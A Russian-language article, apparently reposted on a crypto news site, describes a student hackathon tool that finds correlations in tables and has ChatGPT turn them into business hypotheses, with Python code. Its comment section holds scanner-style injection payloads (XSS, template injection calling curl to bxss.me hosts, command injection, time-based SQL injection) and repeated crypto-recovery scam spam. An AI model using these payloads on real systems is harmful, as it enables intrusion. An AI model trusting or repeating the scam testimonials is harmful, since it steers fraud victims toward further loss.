Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Подручный для бизнеса

Введение

Всем привет! Я Дима Кирпа, студент ИТМО. Занимаюсь исследованиями современных ML и DL подходов для работы с табличными данными. Хочу рассказать об одной интересной задаче, с которой мне пришлось столкнуться.

В прошлом году мы с командой друзей из Семёна Орехова, Олега Неволина, Анастасии Сыпачевой, Валерии Бызовой и меня приняли участие в Хакатоне Finodays. Участникам предлагался шведский стол из самых горячих и вкусных проблем в области финтеха, среди которых больше всех нас привлекла задача от Альфа-банка в рамках трека «Искусственный интеллект и машинное обучение». Заключалась она в разработке решения, помогающего руководителям, продуктовым менеджерам и аналитикам искать точки роста и скрытые закономерности в своём продукте. Сервис должен принимать на вход описание продукта/бизнес-процесса/системы в табличном виде, а на выходе отдавать набор гипотез ― утверждений о данных, выраженных в виде текста и графиков. Гипотезы должны быть правдивыми и соответствовать поданным на вход данным. Сверх того, смысл задумки состоит в генерации креативных и полезных гипотез. Корреляции времени в пути с пройденным расстоянием или связь колонок ID и Time нас не интересует. Наша цель ― полноценный помощник бизнесу, который, например, по данным о продажах товаров может посоветовать, на каком их них стоит сосредоточиться и почему.

На первый взгляд, задача выглядит чрезмерно амбициозной, так как генерация гипотез не является тривиальной задачей даже для опытного аналитика. Однако, идея взялась не из фантастики, а была вдохновлена реальными успехами команды Альфа-банка в области применения ChatGPT для повышения эффективности бизнес-процессов (подробнее можно послушать в докладе). Технологии позволяют сказку делать былью.

Вдохновленные задачей и сильной поддержкой коллег из Альфа-банка мы смогли разработать требуемый продукт, показать его на форуме Банка России и лидеров IT и финансового рынка Finopolis 2023, получить приз зрительских симпатий и несколько предложений о сотрудничестве от одних из известных финансовых организаций России.

Решение

Решение задачки мы начали с поиска примеров для подражания.

Наиболее близкий аналог ― Kanaries: GPT powered visual analytics. Этот сервис умеет искать инсайты в данных, но сфокусирован именно на удобном визуальном представлении. Креатив и решение бизнес-задач в продукт не входят.

Что будет, если просто залить таблицу в ChatGPT в режиме Advanced Data Analysis? Можно получить крутую вопросно-ответную систему, помогающую быстро понять, о чём данные. Можно строить графики и получать разные статистики. Однако, опять же, креатив и поиск фактов из предметной области требует составления специального промпта, последовательных рассуждений и правильного представления данных. Для работы в таком режиме необходимы глубокое погружение в контекст данных и большие затраты времени. Наша же цель ― дать менеджеру понятные гипотезы сразу, по нажатию кнопки, не грузить статистикой и долгими разговорами с сеткой, обеспечить возможность работать с данными в любом представлении, без предобработок.

Из интересных нам решенией на рынке существуют также расширения ChatGPT для работы с таблицами. В основной массе эти инструменты генерируют Excel-формулы и ускоряют работу в табличном процессоре, но не ищут никаких зависимостей и не формируют предположений.

Видим, что готового подхода, идеально подходящего под нашу задачу, пока не существует. Задачку придётся решать самим.

Для поиска решения, мы декомпозировали систему на 2 части:

1) «Понималка» данных, которая вычислит скрытые закономерности и поймёт, о чём вообще данные;

2) Генератор гипотез, который на основании представления о данных расскажет, что значат найденные закономерности, и предложит способы их применения.

7f8ba81e180600f4d115e53a76d5b517.png

Разберём каждую часть подробнее.

Понимаем данные

Во времена больших языковых моделей и сетей, генерирующих ёлочные игрушки, хочется взять какую-нибудь большую предобученную на все случаи жизни нейронку, натравить на данные, получить результат и наслаждаться победой. Однако количество нейросетевых архитектур, которые умеют работать с таблицами, довольно невелико, а их качество неидеально. Трансформеры на таблицах часто проигрывают решающим деревьям и бустингам. Архитектуры, уверенно чувствующие себя в схватке с классическими методами, начали появляться относительно недавно. Найти готовое и универсальное нейросетевое решение, очевидно, не выйдет. Подход Table2Text, где нейронка сворачивает таблицу в скрытое представление и разворачивает в текст, за 2 дня хакатона придётся изобретать самим. По этой причине мы переключились с нейронок и использовали гораздо более простое и понятное решение.

Итогом текущего этапа работы системы должна быть сущность, которая описывает взаимосвязи в данных и их смысл. Выразить взаимосвязи легче всего числами и с использованием классических подходов. А выразить смысл легче всего через текст.

В итоге, получаем следующее решение: с помощью классического статистического аппарата достаём корреляции и другие важные статистики, параллельно по названиям колонок понимаем смысл данных, комбинируем статистики и смысл, засылаем в ChatGPT и получаем наше представление.

Генерируем гипотезы

На данном этапе у нас есть статистика по данным, текст описывающий смысл колонок и текст с общим смыслом таблицы. На основании этого довольно несложно сгенерировать гипотезы, попросив об этом ChatGPT или LLaMA. Здесь мы можем влиять на промпт любым образом, попросив сетку придумать способы доказательства, места применения, возможное объяснение закономерности или способы её отображения на графике.

Технические подробности

Объединим все части нашей схемы и получим готовый к бою продукт:

f2d3aa6a87695e3e35d38c57dbbcbabc.png

Более подробная схема работы выглядит следующим образом:

b00f8ea961d92341d0ecdb509e5a8dda.png

API состоит из ручек загрузки датасета (/upload), получения списков всех загруженных датасетов (/all_datasets), отображения подробной информации по конкретному датасету (/dataset) и ручки ответа на произвольный вопрос по заданному датасету (/dataset_chat).

Основная работа происходит в момент загрузки датасета. Помимо сохранения таблицы на файловой системе сервера (это необходимо, чтобы давать возможность пользователям скачивать наборы данных себе) ручка запускает магию извлечения гипотез и добавления их в базу. Такой подход позволяет экономить время пользователей, пересчитывая гипотезы единожды при загрузке, а не всякий раз, как пользователь запросит гипотезы.

Ручки получения списка загруженных датасетов и гипотез по ним просто ходят в базу и достают необходимые данные. Отрабатывают быстро, делают немного работы. Ручка чата с датасетом создаёт LangChain клиент и отправляет в него запрос пользователя.

Отдельного упоминания заслуживает система построения графиков. Самая простая идея ― попросить ChatGPT дать какое-то количество точек и отобразить их. В нашем случае, идея не лучшая: заслать 1Гб датасет и получить по нему разумное количество точек в четко выдержанном формате ― сложная и ненадежная схема. Раз в 10 запросов ChatGPT на наших промптах стабильно делала нарушения в JSON-формате, даже учитывая one-shot. Другой интересный подход ― PandasAI. Про эту библиотеку мы узнали слишком поздно. Можно попросить ChatGPT описать график для демонстрации гипотезы и заслать в PandasAI. Мы же сделали небольшую вариативность по типам графиков: столбчатый, круговой и линия и просили ChatGPT уточнить, какой из графиков был бы лучше.

Бэкенд-инфраструктура построена на связке FastAPI + Starlette. На нашем стенде на конференции стояло 4 компьютера, поэтому для надёжности запустили 4 воркера для каждого из них. Нагрузка не планировалась огромной, главное требование ― быстрая работа и возможность поддерживать 4 пользователей одновременно.

Все имеющиеся запчасти для плавности движений были смазаны асинхронностью. Использовали асинхронные методы OpenAI-клиента и библиотеку Motor для работы с MongoDB.

Одной из самой технически сложных задач было получение качественного ответа от LLM. Попытки вытащить список гипотез в заданном сетке формате успехом не увенчались. Под разные данные требовались разные промпты, текст получался размытым, сеть часто не выдерживала запрашиваемую структуру, упиралась в ограничение по токенам. Поэтому получение гипотезы из каждой корреляции мы разделили на разные запросы: за каждой гипотезой ходим в LLM отдельно. Один запрос в среднем занимал от 15 до 90 секунд. Если, к примеру, найдено 10 корреляций, то пользователю пришлось бы ждать минимум 15 * 10 = 150 секунд. Чтобы экономить, а не отнимать бесценное время наших пользователей, запросы мы стали пускать параллельно, сократив общую длительность получения гипотез до длительности получения самой долгой из них.

В результате для оптимизации скорости работы мы в параллель засылаем много коротких и четких запросов, содержащих контекст данных. Контекст мы получаем в самом начале, перед всеми гипотезами, на основании названий колонок. Побочным эффектом от использования микро-промптов вместо одного мега-промпта получаем заметное повышение качества текстов гипотез и более чёткую структуру. Если сгенерированный сеткой длинный текст с описанием всего разбить на блоки мы в общем случае не можем, то отдельные гипотезы можно фасовать так, как нам будет удобно. Кроме того, подход с кучкой маленьких промптов позволяет получать гипотезы более гибко. К примеру, на странице каждого датасета есть область быстрого просмотра всех сгенерированных гипотез. Пользователь, глядя на неё, может быстро отобрать самые интересные, не вникая глубоко в суть. При этом, помимо краткого описания, мы бы хотели иметь также более подробный текст с обоснованием, способами проверки и применением гипотез на практике.

Из важных технических решений: сетку и её настройки мы скрываем за слоем ML. Вся остальная часть системы рассматривала LLM, как чёрный ящик, в которой можно послать текст и получить текст в ответ. Какая именно используется сеть, с какими настройками от оставшейся программы, было скрыто. Это позволило нам проводить опыты по сравнению работы GPT-3.5, GPT-4, LLAMA. Качество гипотез от LLAMA оказалось ожидаемо ниже гипотез от ChatGPT. Сравнение GPT-3.5 и GPT-4 не дало сильных различий в качестве при сильной разнице в стоимости.

Для пущего повышения производительности особо тяжелые части мы кэшируем стандартными питонячьими методами.

В итоге мы получаем гипотезы, пайплайн построен так, чтобы гипотезы были релевантны датасету. Но как обеспечить их полезность? Как получать настоящий креатив, а не зависимости колонок с ID товаров? В какой-то момент к нам пришла хорошая идея создать классификатор, который по тексту гипотезы понимал бы, насколько она хороша. Отказались, отдав предпочтение написанию более качественных промптов и более дотошному отбору корреляций. В итоге, глупые гипотезы практически исчезли без затрат лишних ресурсов и добавления ещё одного слабого места в производительности.

Разберем по шагам работу алгоритма на примере датасета «Титаник»:

  1. Вычисляем корреляции. Делается несложно: подчищаем датасет, преобразуем фичи, применяем метод .corr(). После, в зависимости от количества корреляций, отбираем верхний и нижние пороги корреляций. 100%-ные и 2%-ные корреляции нам явно не подходят. По «Титанику» мы нашли 54%-ную корреляцию между колонками

  1. Получаем краткую информацию по датасету, понимаем контекст данных по названиям колонок:

async def get_brief_info(columns: list[str], results):

columns_as_str = ", ".join(columns)

results["brief"] = await get_answer_gpt(

f"В наборе данных есть колонки: {columns_as_str}. О чём эти данные? Дай ответ в одном предложении"

)

Осмысленные названия значительно помогают модели, но даже для колонок “” модель верно поняла контекст (спойлер: “”). Если же колонки называются 1, 2, 3, то система работать не будет.

Для колонок «Титаника» (PassengerId,Survived,Pclass,Name,Sex,Age,SibSp,Parch,Ticket,Fare,Cabin,Embarked) получаем:

Эти данные представляют информацию о пассажирах на борту титаника, включая их идентификационные номера, выживаемость, класс билета, имя, пол, возраст, количество родственников на борту, номер билета, стоимость билета, каюту и порт посадки.

  1. Формулируем по корреляции и контексту гипотезу:

async def correlation_hypothesis_brief(main_text: str, sub_hypothesis: dict):

title = await get_answer_gpt(f"{main_text}. Приведи краткое описание гипотезы, 5-10 слов")

sub_hypothesis["title"] = title

async def correlation_hypothesis_full(main_text: str, sub_hypothesis: dict):

main = await get_answer_gpt(f"{main_text}. Дай подробное описание гипотезы с обоснованием, примерами и способами проверки. Ответ дай в виде HTML-разметки")

sub_hypothesis["main"] = main or ""

async def correlation_hypothesis(

info_data: str, col1: str, col2: str, corr: float, result: dict, res_index: int

):

try:

sub_hypothesis = {}

main_text = f"У нас есть {info_data}. Сформулируй гипотезу, зная, что корреляция между колонками {col1} и {col2} составляет {round(corr, 2)}"

await asyncio.gather(

asyncio.create_task(correlation_hypothesis_brief(main_text, sub_hypothesis)),

asyncio.create_task(correlation_hypothesis_full(main_text, sub_hypothesis))

)

print(sub_hypothesis)

result[res_index] = "\n\n".join([sub_hypothesis["title"], sub_hypothesis["main"]])

except Exception as exep:

print(f"Load hypothesis failed: {exep}")

result[res_index] = None

В итоге получается следующая гипотеза:

Гипотеза: Пассажиры женского пола имели больше шансов на выживание, чем пассажиры мужского пола.

Расширенное описание гипотезы: Гипотеза заключается в том, что пол пассажира (мужской или женский) может быть связан с его выживаемостью на борту корабля. Корреляция между колонками Sex и Survived, равная 0.54, подтверждает эту гипотезу. Это означает, что существует положительная связь между полом пассажира и его выживаемостью ― женщины имели больше шансов на выживание, чем мужчины. Гипотеза также подтверждается фактами из истории катастрофы, где женщины и дети были предпочтительно эвакуированы на спасательных шлюпках.

Для отображения данной гипотезы лучше всего подойдет столбчатая диаграмма, так как она позволяет наглядно сравнить процент выживших между разными группами (мужчины и женщины)

На вход системе была подана только таблица. Никаких дополнительных описаний или пояснений.

Сборка приложения

Некоторое время были попытки избежать написания своего фронтенда, применив фреймоврк streamlit. Разработка на нём была довольно простой, а дизайн получался действительно сочный:

fc5d421eebe804f127ed909edad26f9c.png

Однако использование такого решения ограничивала нас во многих дизайнерских решениях, мешала внедрять стилистику Альфа-банка. Применение фреймворка для простых приложений, которые нужно сделать быстро и красиво ― это к streamlit, но более сложные интерфейсы с желанием кастомизации лучше писать самим.

В итоге проект разместили в Яндекс Облаке. Использовали виртуалку и сервис Managed Mongo.

На текущий момент мы ведём работу над добавлением специфического контекста в запросы. Наша цель ― дать пользователю возможность гибко настраивать, какие гипотезы и в каком формате он хочет видеть. Наша же система, обладая знания про статистические закономерности в данных, сможет извлекать их и передавать правильный набор промптов в ChatGPT с тем, чтобы получить наиболее релевантные гипотезы. Также работаем над добавлением LLAMA-индекса, в который будем записывать корпоративную специфику и добавлять её в контекст. Идеальная форма системы ― рекомендательная система гипотез. Наша нейронка будет обучаться под генерацию самых качественных инсайтов.

Результат

Упаковываем в красивый дизайн и динамичный фронт и получаем Подручного ― лучшего помощника для бизнеса:

ef05560073df04f1f507d4d19b99068b.png98557ff8be2319333508af82d8023f28.png109ef30b8358ce2794c9748c96b48b71.pngb59aa3880b017a425ff8fb85343bc0a1.png

Система получилась гибкой: с помощью небольших правок в промпты можно делать любые преобразования над гипотезами, с помощью добавление мета-информации можно корректировать знания системы о корпоративной специфике, а использованные подходы сделали нашего Подручного применимым в любой сфере для любого вида таблиц.

Итоги

Сила нейронок добралась еще далеко не до всех областей, в которых она могла бы принести пользу. Сейчас самое время запрыгивать на гребень волны и мчаться в глубины океана AI-инструментов в помощь людям самых разных профессий.

В планах превратить выставочный экспонат в настоящее решение для бизнеса.

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

